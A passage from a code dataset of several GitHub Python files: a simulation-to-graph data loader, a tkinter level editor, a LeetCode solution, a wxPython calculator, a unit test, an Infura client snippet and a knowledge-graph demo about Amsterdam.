metallicity\n\n    Vmax = f[\"Subhalo/SubhaloVmax\"][:] \n    Vdisp  = f['/Subhalo/SubhaloVelDisp'][:]\n    SFR = f['/Subhalo/SubhaloSFR'][:] #star formation rate\n    J  = f['/Subhalo/SubhaloSpin'][:] #subhalo spin\n    V  = f['/Subhalo/SubhaloVel'][:]\n    J  = np.sqrt(J[:,0]**2 + J[:,1]**2 + J[:,2]**2)\n    V  = np.sqrt(V[:,0]**2 + V[:,1]**2 + V[:,2]**2)\n\n    #U = f['/Subhalo/SubhaloStellarPhotometrics'][:,0]\n    #K = f['/Subhalo/SubhaloStellarPhotometrics'][:,3]\n    #g = f['/Subhalo/SubhaloStellarPhotometrics'][:,4]\n\n    #Vel_subhalo = f[\"Subhalo/SubhaloVel\"][:] #/velnorm\n    HaloID = np.array(f[\"Subhalo/SubhaloGrNr\"][:], dtype=np.int32)  #It tells you to which halo belongs every subhalo\n\n    # Load halo features\n    HaloMass = f[\"Group/GroupMass\"][:]\n    Pos_halo = f[\"Group/GroupPos\"][:]/boxsize\n    Vel_halo = f[\"Group/GroupVel\"][:] #/velnorm \n    \n    f.close()\n\n    # Neglect halos with zero mass\n    indexes = np.argwhere(HaloMass>0.).reshape(-1) #haloes index in the given simulation\n    \n   \n    #correct simulations outside the box -----> not necessary\n    #Pos_subhalo[np.where(Pos_subhalo<0.0)]+=1.0\n    #Pos_subhalo[np.where(Pos_subhalo>1.0)]-=1.0\n    \n    #take the logarithm (+1 if it has zeros)\n    Mstar = np.log10(1.+Mstar)\n    Mg = np.log10(1.+Mg)\n    Mbh = np.log10(1.+Mbh)\n    Mtot = np.log10(Mtot)\n    Rstar = np.log10(1.+Rstar)\n    Rtot = np.log10(1.+Rtot)\n    Rvmax = np.log10(1.+Rvmax)\n    GMetal = np.log10(1.+GMetal)\n    SMetal = np.log10(1.+SMetal)\n    Vmax = np.log10(Vmax)\n    Vdisp = np.log10(Vdisp)\n    #SFR = np.log10(1.+SFR)\n    \n    #normalize the variables\n    #Vel_subhalo = normalize(Vel_subhalo)\n    Vel_halo = normalize(Vel_halo)\n    \n    Mstar = normalize(Mstar)\n    Mbh = normalize(Mbh)\n    Mg = normalize(Mg)\n    Mtot = normalize(Mtot)\n\n    Rstar = normalize(Rstar)\n    Rtot = normalize(Rtot)\n    Rvmax = normalize(Rvmax)\n    GMetal = normalize(GMetal)\n    SMetal = normalize(SMetal)\n    Vmax = normalize(Vmax)\n    Vdisp = normalize(Vdisp)\n    V = normalize(V)\n    J = normalize(J) \n    #U = normalize(U)\n    #K = normalize(K)\n    #g = normalize(g)\n    SFR = normalize(SFR)\n\n    #1. position\n    #2. star mass\n    #3. black hole mass \n    #4. gas mass\n    #5. total mass \n    #6. Rstar\n    #7. Rtot\n    #8. Rvmax \n    #9. Gas Metallicity\n    #10. Star Metallicity \n    #11. Vmax\n    #12. V dispersion \n    #13. V modulo\n    #14. J spin modulo\n    #15,16,17 photometric bands (remove this)\n    #18. SFR\n    tab = np.column_stack((HaloID, Pos_subhalo, Mstar, Mbh, Mg, Mtot, Rstar, Rtot, Rvmax, GMetal, SMetal, Vmax, Vdisp, V, J, SFR))\n    #tab_features = np.column_stack((Mstar,Rstar,Mdm,Metal))\n    #x = torch.tensor(tab_features, dtype=torch.float32)\n\n    \n    return tab, Pos_halo, Vel_halo, indexes\n\n#--------------------------------------------------------------------------------------------------\ndef features_new(fin):\n    \n    f = h5py.File(fin, 'r')\n    \n    header = f['Header']\n    boxsize = header.attrs[u'BoxSize']\n    \n    #load subhalos features\n    Pos_subhalo = f[\"Subhalo/SubhaloPos\"][:]/boxsize  \n    Mstar = f[\"Subhalo/SubhaloMassType\"][:,4]  #total mass of all members particles\n    Mdm = f[\"Subhalo/SubhaloMassType\"][:,1] \n    Nstar = f[\"Subhalo/SubhaloLenType\"][:,4]\n    Rstar = f[\"Subhalo/SubhaloHalfmassRadType\"][:,4] #radnorm #radius galaxy\n    GMetal = f[\"Subhalo/SubhaloGasMetallicity\"][:] #gas metallicity\n    SMetal = f[\"Subhalo/SubhaloStarMetallicity\"][:] #star metallicity\n    Vmax = f[\"Subhalo/SubhaloVmax\"][:] \n\n    Vel_subhalo = f[\"Subhalo/SubhaloVel\"][:] #/velnorm\n    HaloID = np.array(f[\"Subhalo/SubhaloGrNr\"][:], dtype=np.int32)  #It tells you to which halo belongs every subhalo\n\n    # Load halo features\n    HaloMass = f[\"Group/GroupMass\"][:]\n    Pos_halo = f[\"Group/GroupPos\"][:]/boxsize\n    Vel_halo = f[\"Group/GroupVel\"][:] #/velnorm \n    \n    f.close()\n\n    # Neglect halos with zero mass\n    indexes = np.argwhere(HaloMass>0.).reshape(-1) #haloes index in the given simulation\n    \n    \n    #correct simulations outside the box\n    Pos_subhalo[np.where(Pos_subhalo<0.0)]+=1.0\n    Pos_subhalo[np.where(Pos_subhalo>1.0)]-=1.0\n    \n    #take the logarithm\n    Mstar = np.log10(1.+Mstar)\n    Mdm = np.log10(1.+Mdm)\n    Rstar = np.log10(1.+Rstar)\n    GMetal = np.log10(1.+GMetal)\n    SMetal = np.log10(1.+SMetal)\n    Vmax = np.log10(1.+Vmax)\n    \n    #normalize the variables\n    Vel_subhalo = normalize(Vel_subhalo)\n    Vel_halo = normalize(Vel_halo)\n    \n    Mstar = normalize(Mstar)\n    Mdm = normalize(Mdm)\n    Rstar = normalize(Rstar)\n    GMetal = normalize(GMetal)\n    SMetal = normalize(SMetal)\n    Vmax = normalize(Vmax)\n    \n    #1. position\n    #2. star mass\n    #3. Radio \n    #4. dark matter mass \n    #5. Gas Metallicity\n    #6. Star Metallicity \n    #7. Vmax\n    #8. subhalo velocity\n    tab = np.column_stack((HaloID, Pos_subhalo, Mstar, Rstar, Mdm, GMetal, SMetal, Vmax, Vel_subhalo))\n    #tab_features = np.column_stack((Mstar,Rstar,Mdm,Metal))\n    #x = torch.tensor(tab_features, dtype=torch.float32)\n\n    \n    return tab, Pos_halo, Vel_halo, indexes\n\n#-----------------------------------------------------------------------------------------------------------\n \ndef normalize(variable):\n    mean, std = variable.mean(axis=0), variable.std(axis=0)\n    norm_variable = (variable - mean)/std\n    return norm_variable\n    \n\ndef create_graphs_new(halolist, tab, GroupPos, GroupVel, mwdm, parameters):\n    \n    #this for goes through every halo inside the simulation\n    #num_sub = []\n    data_sim = []\n    for ind in halolist: \n        n_sub = len(tab[tab[:,0]==ind])\n        #num_sub.append(n_sub) \n    \n        if n_sub < 10 and n_sub > 4: \n            tab_halo = tab[tab[:,0]==ind][:,1:]  #select subhalos within a halo with index id (graph por halo)\n            \n            #tab_halo[:,0:3] -= GroupPos[ind]  #in the halo frame\n            #tab_halo[:,-3:] -= GroupVel[ind]  \n            \n            distance = euclidean_distance(n_sub, torch.Tensor(tab_halo[:,0:3])) \n            index_mask = (distance > 0) & (distance < 1e-1)\n            index_edge = np.array(np.where(index_mask == True))\n            index_edge = torch.tensor(index_edge, dtype=torch.long)\n\n            #luego de usar la distance para establecer el rlink quito las posiciones\n            tab_features = tab_halo[:,3:]\n            \n            edge_attr = torch.zeros((index_edge.shape[1], 1)) #shape=[number of edges, features=0]\n            \n            u_number = np.log10(n_sub).reshape(1,1) #number of subhalos in the simulation as a global feature\n\n            if global_parameters == True:\n                u_parameters = parameters.reshape(1,5)\n                u = np.concatenate((u_number, u_parameters), axis=1)\n            elif cosmo_parameters == True:\n                u_parameters = parameters[1:2]\n                u_parameters = u_parameters.reshape(1,1)\n                u = np.concatenate((u_number, u_parameters), axis=1)\n            elif astro_parameters == True:\n                u_parameters = parameters[2:5]\n                u_parameters = u_parameters.reshape(1,3) #me parece que aca falta un parametro\n                u = np.concatenate((u_number, u_parameters), axis=1)\n            else:\n                u = u_number\n                \n            mass = torch.tensor(mwdm, dtype=torch.float32) #target\n            \n            data = Data(x=torch.Tensor(tab_features), u = torch.tensor(u, dtype=torch.float32), edge_index = index_edge, edge_attr = edge_attr, y=mass)\n            data_sim.append(data)\n            \n    return data_sim\n\n#-------------------------------------------------------------------------------------------------------------------------------\n\nmass_sim = np.loadtxt('/home/bcostanza/MachineLearning/project/sobol_sequence_WDM_real_values.txt')\n\n#read the data\n\n\ndef training_set():\n    dataset_train = []\n    for i in range(0,split_train):\n        print('reading simulation', i)\n        fin = '%s/WDM_%d/fof_subhalo_tab_090.hdf5'%(simpathroot,i)\n        \n        tab, GroupPos, GroupVel, indexes = features_new_v2(fin)\n        \n        mwdm = mass_sim[i,-1]        \n        parameters = mass_sim[i,:-1]  #other parameters of the simulation\n    \n        halolist = indexes#[:nhalos]\n    \n        data_sim = create_graphs_new(halolist, tab, GroupPos, GroupVel, mwdm, parameters)\n    \n        dataset_train += data_sim\n    return dataset_train\n    \ndef validation_set():\n    dataset_valid = []\n    for i in range(split_train,split_valid):\n        print('reading simulation', i)\n        fin = '%s/WDM_%d/fof_subhalo_tab_090.hdf5'%(simpathroot,i)\n        \n        tab, GroupPos, GroupVel, indexes = features_new_v2(fin)\n        \n        mwdm = mass_sim[i,-1]\n        parameters = mass_sim[i,:-1]\n        \n        halolist = indexes#[:nhalos]\n\n        data_sim = create_graphs_new(halolist, tab, GroupPos, GroupVel, mwdm, parameters)\n\n        dataset_valid += data_sim\n    return dataset_valid\n\ndef test_set():\n    dataset_test = []\n    for i in range(split_valid,split_test):\n        print('reading simulation', i)\n        fin = '%s/WDM_%d/fof_subhalo_tab_090.hdf5'%(simpathroot,i)\n\n        tab, GroupPos, GroupVel, indexes = features_new_v2(fin)\n        \n        mwdm = mass_sim[i,-1]\n        parameters = mass_sim[i,:-1]\n        \n        halolist = indexes#[:nhalos]\n\n        data_sim = create_graphs_new(halolist, tab, GroupPos, GroupVel, mwdm, parameters)\n\n        dataset_test += data_sim\n\n    return dataset_test\n\n\nprint('reading')\n\ntrain_dataset = training_set()\ntorch.save(train_dataset, name_train)\n\nvalid_dataset = validation_set()\ntorch.save(valid_dataset, name_valid)\n    \ntest_dataset = test_set()\ntorch.save(test_dataset, name_test)\n\n\n\n\n\n","repo_name":"Belencostanza/MassGraphNet","sub_path":"load_data_mass.py","file_name":"load_data_mass.py","file_ext":"py","file_size_in_byte":12413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"19702661481","text":"import tkinter as tk\r\nfrom tkinter import messagebox as msgbox\r\nfrom tkinter import filedialog\r\nimport taille_niveau as tn\r\nimport modif_niveau as mn\r\nimport canvas_niveau as cn\r\nimport jouer\r\nimport os\r\n\r\n\r\ndef niv(root): # s'active lorsque le bouton Creer est presse\r\n    toptaille=tn.fen_taille(root) # execute la fonction fen_taille du module taille_niveau\r\n\r\n\r\ndef Open_lvl(root): # ouvre un niveau choisi dans l'arborescence\r\n    root.state('withdrawn') # cache la fenetre root\r\n    # ouvre une fenetre permettant de choisir un fichier dans l'arborescence, renvoie le chemin du fichier choisi\r\n    chemin = tk.filedialog.askopenfilename(title = \"Ouvrir un niveau\", parent = root, defaultextension = \".lvl\", \\\r\n                                                filetypes = [('levels', '.lvl'), ('all files', '.*')])\r\n    if len(chemin) > 0: # si un fichier a bien ete choisi\r\n        # variables #\r\n        test=True\r\n        list_items=[]\r\n\r\n        # Toplevel 3 #\r\n        tl3=tk.Toplevel()\r\n        tl3.title(os.path.basename(chemin)) # le nom du fichier choisi en titre de la fenetre\r\n        fichier = open(os.path.basename(chemin),'r') # ouverture du fichier en mode lecture\r\n        for line in fichier: # pour chaque ligne du fichier\r\n            if test==True: # on lit la premiere ligne\r\n                line=line.split()\r\n                Long, Larg = int(line[0]), int(line[1]) # qui contient la longueur et la largeur du niveau\r\n                test=False\r\n            else: # puis les autres\r\n                line=line.split() # qui contiennent l'id d'un carre et sa couleur\r\n                if line[1]=='lime': \r\n                    line[1]='lime green'\r\n                list_items=list_items+[line] # on les ajoute a une liste\r\n\r\n        # on cree un canvas qui s'adapte en fonction de la longueur et largeur obtenue \r\n        canvas=tk.Canvas(tl3,width=32*(Long+2)+2,height=32*(Larg+2)+2)\r\n        \r\n        for j in range(0,Larg+2): #on fabrique les carre selon le type de celui-ci (contour en bleu ou non contour en blanc)\r\n            x0,x1,cpt=2,32,0\r\n            if j==0:\r\n                y0,y1=2,32\r\n            else:\r\n                y0=y0+32\r\n                y1=y1+32\r\n            for i in range(0,Long+2):\r\n                cpt=cpt+1\r\n                if j==0 or j==(Larg+2)-1 or (j!=0 and j!=Larg+2 and (cpt==1 or cpt==Long+2)):\r\n                    canvas.create_rectangle(x0,y0,x1,y1,fill='blue')\r\n                else:\r\n                    canvas.create_rectangle(x0,y0,x1,y1, fill='white', outline='grey', tags=('cb',x0,y0,x1,y1))\r\n                x0=x0+32\r\n                x1=x1+32\r\n\r\n        for item in list_items: # pour chaque item dans la liste, on change la couleur du carre d'id obtenu\r\n            if item[1]=='blue':\r\n                canvas.itemconfigure(item[0], fill=item[1], outline='black')\r\n            else:\r\n                canvas.itemconfigure(item[0], fill=item[1], outline='grey')\r\n\r\n        canvas.pack() # on affiche le canvas\r\n\r\n        # bouton permettant de retourner au menu principal\r\n        bquit=tk.Button(tl3,text='Retour au menu principal', command=lambda:cn.retour_menu(root, tl3)).pack(side='bottom')\r\n\r\n# programme principal #\r\nroot=tk.Tk() # fenetre principale\r\nroot.title('Simulateur logique') # donne un titre a la fenetre\r\nroot.geometry('250x78') # donne une taille predefini a la fenetre\r\n\r\n# creation d'un bouton Jouer\r\ntk.Button(root, text='Jouer',command=lambda:jouer.fenetre_jouer(root)).pack(fill='x') # s'il est presse, execute la fonction Open_lvl\r\n\r\n# creation d'un menu deroulant en pressant le bouton Niveau\r\n#mb=tk.Menubutton(root, text=\"Niveau\", relief='raised')\r\n#menu=tk.Menu(mb, tearoff=False)\r\n#menu.add_command(label=\"Créer\", command=lambda:niv(root))\r\n#menu.add_command(label=\"Modifier\", command=lambda:mn.Modif_lvl(root))\r\n#mb[\"menu\"]=menu\r\n#mb.pack(fill='x') # on affiche le menu\r\ntk.Button(root, text='Creer', command=lambda:niv(root)).pack(fill='x')\r\n\r\n# creation d'un bouton pour fermer l'application\r\ntk.Button(root, text='Fermer', command=exit).pack(fill='x')\r\n\r\n\r\ntk.mainloop()\r\nexit(0)\r\n","repo_name":"xerip/Mini_projet_simulateur_logique","sub_path":"projet_ihm_MATTIOLI/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7672647844","text":"COMMANDS = ('adaptive_tsv',\n            'count_mutations',\n            'collapse_identical_reads',\n            'deduplicate_fastq',\n            'export_targets',\n            'extract_best_hits',\n            'align_fastq',\n            'adaptive_vj_uncertainty')\n\n\ndef itermodules(root=__name__):\n    for command in sorted(COMMANDS):\n        name = command.replace('_', '-')\n        mod = __import__('.'.join((root, command)), fromlist=[command])\n        yield name, mod\n","repo_name":"cmccoy/ighutil","sub_path":"python/vdjalign/subcommands/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"26084952707","text":"from leezy import solution, Solution\n\n\nclass Q093(Solution):\n    @solution\n    def restoreIpAddresses(self, s):\n        # combination template\n        cur, total = [], []\n        def dfs(n, start):\n            if n == 4 and start == len(s):\n                total.append(\".\".join(cur))\n                return\n            if n > 4 or start >= len(s):\n                return\n            for i in range(start, min(len(s), start+3)):\n                part = s[start:i+1]\n                if len(part) > 1 and part[0] == \"0\":\n                    return\n                if int(part) > 255:\n                    return\n                cur.append(part)\n                dfs(n+1, i+1)\n                cur.pop()\n\n        dfs(0, 0)\n        return total \n\n\ndef main():\n    q = Q093()\n    q.add_case(q.case('25525511135').assert_equal([\"255.255.11.135\",\"255.255.111.35\"]))\n    q.run()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"wowococo/myleetcode","sub_path":"Python/093 - Restore IP Addresses/093_restore-ip-addresses.py","file_name":"093_restore-ip-addresses.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"39262447716","text":"#!/usr/bin/env python\nimport wx\n\nID_MODE_STACK                   = 12000\nID_MODE_INFIX                   = 12001\n\n\nop_prios = {\n    '(': 0,     ## will be handled only with ')'\n    '+': 1,\n    '-': 1,\n    '*': 2,\n    '/': 2,\n}\n\n\ndef comparePrio(op1, op2):\n    return op_prios[op1] - op_prios[op2]\n\n\nclass MainWindow(wx.Frame):\n\n    current_value = None\n    stack = None\n    op_stack = None\n    in_input = False\n    must_auto_dup = False\n    mode_infix = False\n    memory_value = None\n\n    def __init__(self):\n\n        wx.Frame.__init__(self, None, wx.ID_ANY, \"Calculario\")\n\n        self.current_value = ''\n        self.memory_value = 0.0\n        self.stack = []\n        self.op_stack = []\n\n        number_menu = wx.Menu()\n        menu_item_exit = number_menu.Append(wx.ID_EXIT,\n                \"E&xit\" , \" Terminate the program\")\n        self.Bind(wx.EVT_MENU, self.OnExit, menu_item_exit)\n        mode_menu = wx.Menu()\n        self.menu_item_mode_stack = mode_menu.AppendCheckItem(ID_MODE_STACK,\n                \"&Stack\", \" Switch to stack (postfix) mode\")\n        self.menu_item_mode_infix = mode_menu.AppendCheckItem(ID_MODE_INFIX,\n                \"&Infix\", \" Switch to infix mode\")\n        self.menu_item_mode_stack.Check()\n        self.Bind(wx.EVT_MENU,\n                  lambda _e: self.setInfixMode(True),\n                  self.menu_item_mode_infix)\n        self.Bind(wx.EVT_MENU,\n                  lambda _e: self.setInfixMode(False),\n                  self.menu_item_mode_stack)\n        menuBar = wx.MenuBar()\n        menuBar.Append(number_menu, \"&Number\")\n        menuBar.Append(mode_menu, \"&Mode\")\n        self.SetMenuBar(menuBar)\n\n        self.buttons = {}\n        self.top_sizer = wx.BoxSizer(wx.VERTICAL)\n        self.top_buttons_sizer = wx.BoxSizer(wx.HORIZONTAL)\n        self.st_in_input = wx.StaticText(self, label = ' -RN- ')\n        self.top_buttons_sizer.Add(self.st_in_input)\n        self.st_stack_size = wx.StaticText(self, label = ' =0= ')\n        self.top_buttons_sizer.Add(self.st_stack_size)\n        self.st_memory = wx.StaticText(self, label = ' ')\n        self.top_buttons_sizer.Add(self.st_memory)\n        self.buttons_sizer = wx.GridSizer(rows = 5, cols = 5,\n                vgap = 10, hgap = 10)\n        for bkey in ('bs', 'x1', 'x2', 'MC', 'C',\n                      '7', '8', '9', 'M+', 'MR',\n                      '4', '5', '6', '*', '/',\n                      '1', '2', '3', '+', '-',\n                      '0', '.', 'neg', 'dup', 'CE'):\n            btext = {\n                    'neg': '+/-',\n                    'dup': 'DUP',\n                    'bs': '00->0',\n                    'x1': 'DROP',\n                    'x2': 'SWAP',\n                }.get(bkey, bkey)\n            button = wx.Button(self, label = btext)\n            self.buttons[bkey] = button\n            self.buttons_sizer.Add(button)\n        for bkey in ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '.'):\n            self.Bind(wx.EVT_BUTTON,\n                      lambda _e, bkey=bkey:\n                            self.onInputButton(bkey),\n                      self.buttons[bkey])\n        for bkey in ('+', '-', '*', '/'):\n            self.Bind(wx.EVT_BUTTON,\n                      lambda _e, bkey=bkey:\n                            self.btTwoArgumentOperator(bkey),\n                      self.buttons[bkey])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onDupButton(),\n                self.buttons['dup'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onNegateButton(),\n                self.buttons['neg'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onBackspaceButton(),\n                self.buttons['bs'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onClearButton(),\n                self.buttons['C'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onX1Button(),\n                self.buttons['x1'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onX2Button(),\n                self.buttons['x2'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onMemAddButton(),\n                self.buttons['M+'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onMemReadButton(),\n                self.buttons['MR'])\n        self.Bind(wx.EVT_BUTTON, lambda _e: self.onMemClearButton(),\n                self.buttons['MC'])\n\n        self.indicator = wx.TextCtrl(self, value = '0',\n                style = wx.SIMPLE_BORDER)\n        self.top_sizer.Add(self.top_buttons_sizer, flag = wx.EXPAND)\n        self.top_sizer.Add(wx.StaticLine(self), flag = wx.EXPAND)\n        self.top_sizer.Add(self.indicator, flag = wx.EXPAND)\n        self.top_sizer.Add(wx.StaticLine(self), flag = wx.EXPAND)\n        self.top_sizer.Add(self.buttons_sizer, flag = wx.EXPAND)\n        self.SetSizer(self.top_sizer)\n        self.SetAutoLayout(1)\n        self.top_sizer.Fit(self)\n\n    def setInfixMode(self, to_infix):\n        self.mode_infix = to_infix\n        self.menu_item_mode_infix.Check(to_infix)\n        self.menu_item_mode_stack.Check(not to_infix)\n        self.buttons['dup'].SetLabel('=' if to_infix else 'DUP')\n        self.buttons['x1'].SetLabel('(' if to_infix else '')\n        self.buttons['x2'].SetLabel(')' if to_infix else '')\n        self.stack = []\n        self.op_stack = []\n        self.in_input = False\n        self.need_auto_dup = False\n        self.reIndicate()\n\n    def OnExit(self, _e):\n        self.Close(True)\n\n    def onInputButton(self, bkey):\n        if not self.in_input:\n            if self.must_auto_dup and self.current_value:\n                self.stack.append(self.current_value)\n            self.current_value = ''\n            self.in_input = True\n            self.must_auto_dup = False\n        if bkey == '.' and '.' in self.current_value:\n            ## We simply ignore such case\n            return\n        self.current_value += bkey\n        self.reIndicate()\n\n    def btTwoArgumentOperator(self, bkey):\n        if self.mode_infix:\n            return self.btTwoArgumentOperator_Infix(bkey)\n        else:\n            return self.btTwoArgumentOperator_Stack(bkey)\n\n    def btTwoArgumentOperator_Stack(self, bkey):\n        if not self.stack:\n            return\n        self._applyOperator(bkey)\n        self.in_input = False\n        self.must_auto_dup = True\n        self.reIndicate()\n\n    def _popOperator(self):\n        ## Infix mode only\n        op = self.op_stack.pop()\n        return self._applyOperator(op)\n\n    def _applyOperator(self, op):\n        a = float(self.stack.pop())\n        c = float(self.current_value or '0')\n        if op == '+':\n            v = a + c\n        elif op == '-':\n            v = a - c\n        elif op == '*':\n            v = a * c\n        elif op == '/':\n            v = a / c\n        self.current_value = str(v)\n\n    def btTwoArgumentOperator_Infix(self, bkey):\n        ## This shall:\n        ## 1) Check the operation stack against all most (or same)\n        ## prioritized operators, and, if found, pop them and apply;\n        ## 2) push the current value onto the data stack, and\n        ## the operator - onto the operator stack\n        while self.op_stack and self.stack and \\\n                comparePrio(bkey, self.op_stack[-1]) <= 0:\n            self._popOperator()\n        self.stack.append(self.current_value or '0')\n        self.op_stack.append(bkey)\n        self.in_input = False\n        self.must_auto_dup = False\n        self.reIndicate()\n\n    def onDupButton(self):\n        if self.mode_infix:\n            return self.onEqualButton()\n        self.in_input = False\n        self.must_auto_dup = False\n        self.stack.append(self.current_value or '0')\n        self.reIndicate()\n\n    def onEqualButton(self):\n        #- print '__: onEqualButton: stack=%r op_stack=%r' % \\\n        #-     (self.stack, self.op_stack,)\n        while self.stack and self.op_stack:\n            self._popOperator()\n        self.reIndicate()\n\n    def onX1Button(self):\n        if self.mode_infix:\n            self.op_stack.append('(')\n        else:\n            if self.stack:\n                self.current_value = self.stack.pop()\n            else:\n                self.current_value = ''\n            self.in_input = False\n            self.must_auto_dup = False\n            self.reIndicate()\n\n    def onX2Button(self):\n        if self.mode_infix:\n            while self.op_stack and self.op_stack[-1] != '(':\n                self._popOperator()\n            self.op_stack.pop()\n            self.reIndicate()\n        else:\n            if self.stack:\n                t = self.stack.pop()\n                self.stack.append(self.current_value or '0')\n                self.current_value = t\n            self.in_input = False\n            self.must_auto_dup = False\n            self.reIndicate()\n\n    def onNegateButton(self):\n        self.in_input = False\n        self.must_auto_dup = not self.mode_infix\n        if self.current_value:\n            self.current_value = str(-float(self.current_value))\n            self.reIndicate()\n\n    def onBackspaceButton(self):\n        self.in_input = True\n        self.must_auto_dup = False\n        if self.current_value:\n            self.current_value = self.current_value[:-1]\n            self.reIndicate()\n\n    def onMemAddButton(self):\n        self.memory_value += float(self.current_value or '0')\n        self.reIndicate()\n\n    def onMemReadButton(self):\n        if self.must_auto_dup and not self.mode_infix:\n            self.stack.append(self.current_value or '0')\n        self.current_value = str(self.memory_value)\n        self.in_input = False\n        self.must_auto_dup = not self.mode_infix\n        self.reIndicate()\n\n    def onMemClearButton(self):\n        self.memory_value = 0\n        self.reIndicate()\n\n    def onClearButton(self):\n        self.current_value = ''\n        self.stack = []\n        self.op_stack = []\n        self.in_input = False\n        self.must_auto_dup = False\n        self.reIndicate()\n\n    def reIndicate(self):\n        v = self.current_value or '0'\n        self.indicator.SetValue(v)\n        self.st_in_input.SetLabel(' -%s%s- ' % (\n                'I' if self.in_input else 'R',\n                'A' if self.must_auto_dup else 'N',))\n        self.st_stack_size.SetLabel(' =%d= ' % (len(self.stack),))\n        self.st_memory.SetLabel('M' if self.memory_value else ' ')\n\n\nif __name__ == '__main__':\n    app = wx.App(False)         ## don't redirect stdout\n    frame = MainWindow()\n    frame.Show(True)\n    app.MainLoop()\n","repo_name":"netch80/micro","sub_path":"calculario_wx/calculario.py","file_name":"calculario.py","file_ext":"py","file_size_in_byte":10335,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"70768111198","text":"import unittest\n\nfrom recommender import items\n\nfrom google.appengine.ext import testbed\n\n\nclass ItemsTest(unittest.TestCase):\n\n  def setUp(self):\n    self.testbed = testbed.Testbed()\n    self.testbed.activate()\n    self.testbed.init_datastore_v3_stub()\n    self.testbed.init_memcache_stub()\n\n  def tearDown(self):\n    self.testbed.deactivate()\n\n  def testSerialization(self):\n    self.assertEqual([1, 2, 3],\n                     items.ItemIdsFromBytes(items.ItemIdsToBytes([1, 2, 3])))\n\n    self.assertEqual([], items.ItemIdsFromBytes(items.ItemIdsToBytes([])))\n\n  def testConversion(self):\n    # Checks that nothing is returned for non-existing item id.\n    self.assertEqual({}, items.ItemIdsToUrls([123]))\n\n    id_a = items.UrlToItemId('a')\n    id_b = items.UrlToItemId('b')\n    items.UrlToItemId('c')\n\n    self.assertEqual({id_a: 'a'}, items.ItemIdsToUrls([id_a]))\n    self.assertEqual({id_a: 'a', id_b: 'b'}, items.ItemIdsToUrls([id_a, id_b]))\n    self.assertEqual({}, items.ItemIdsToUrls([]))\n    self.assertEqual({}, items.ItemIdsToUrls([]))\n\n    self.assertEqual({'a': id_a, 'b': id_b}, items.UrlsToItemIds(['a', 'b']))\n    self.assertEqual({'a': id_a}, items.UrlsToItemIds(['a']))\n    self.assertEqual({}, items.UrlsToItemIds(['z']))\n    self.assertEqual({}, items.UrlsToItemIds([]))\n","repo_name":"google/article-recommender","sub_path":"recommender/items_test.py","file_name":"items_test.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"51"}
+{"seq_id":"3443384236","text":"import infura\n\nifr = infura.Client(\n    project_id='',\n    project_secret='',\n    network='mainnet',\n    cache_expire_after=5,\n)\n\ngas_price = ifr.eth_get_gas_price()\n\nbalance = ifr.eth_get_balance('0x')\n\nblock_number = ifr.eth_get_block_number()","repo_name":"IvanLetteri/eth_analytics","sub_path":"infura.py","file_name":"infura.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38919747099","text":"from havina.graph_generator import GraphGenerator\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport random\n\n# source: https://en.wikipedia.org/wiki/Amsterdam\ntext = (\"Amsterdam was founded at the mouth of the Amstel River that was dammed to control flooding; \"\n        \"the city's name derives from a local linguistic variation of the word dam. Originally a small fishing village \"\n        \"in the late 12th century, Amsterdam became a major world port during the Dutch Golden Age of the 17th\"\n        \" century, when the Netherlands was an economic powerhouse. Amsterdam was the leading centre for finance \"\n        \"and trade, as well as a hub of production of secular art. In the 19th and 20th centuries, the city \"\n        \"expanded and many new neighborhoods and suburbs were planned and built. The canals of Amsterdam and the \"\n        \"19-20th century Defence Line of Amsterdam are both on the UNESCO World Heritage List. Sloten, annexed in \"\n        \"1921 by the municipality of Amsterdam, is the oldest part of the city, dating to the 9th century. The city \"\n        \"has a long tradition of openness, liberalism, and tolerance. Cycling is key to the city's modern character,\"\n        \" and there are numerous biking paths and lanes spread throughout the entire city.\")\ngenerator = GraphGenerator(device='mps', forward_tokens=True, link_entity=False, top_k=6, contiguous_token=True,\n                           relation_length=4, threshold=0.05)\n\nrelations = generator(text, 4)  # 36, 62, 61\n\nfor item in relations:\n    print(f\"{item.head.text} ------ {item.tail.text}\")\n    for rel in item.relations:\n        print(rel)\n\nsource: list[str] = []\ntarget: list[str] = []\nrelation: list[str] = []\n\nfilter_items = ['amsterdam', 'the netherlands']\nfor item in relations:\n    head_text = item.head.text\n    tail_text = item.tail.text\n    if head_text in filter_items or tail_text in filter_items:\n        for rel in item.relations:\n            source.append(head_text)\n            target.append(tail_text)\n            relation.append(rel)\n\n\nkg_df = pd.DataFrame({'source': source, 'target': target, 'edge': relation})\nG = nx.from_pandas_edgelist(kg_df, 'source', 'target', edge_attr=True, create_using=nx.MultiGraph)\nplt.figure(figsize=(12, 12))\npos = nx.planar_layout(G)\nnx.draw(G, with_labels=True, node_color='skyblue', edge_cmap=plt.cm.Blues, pos=pos)\nnx.draw_networkx_edge_labels(G, 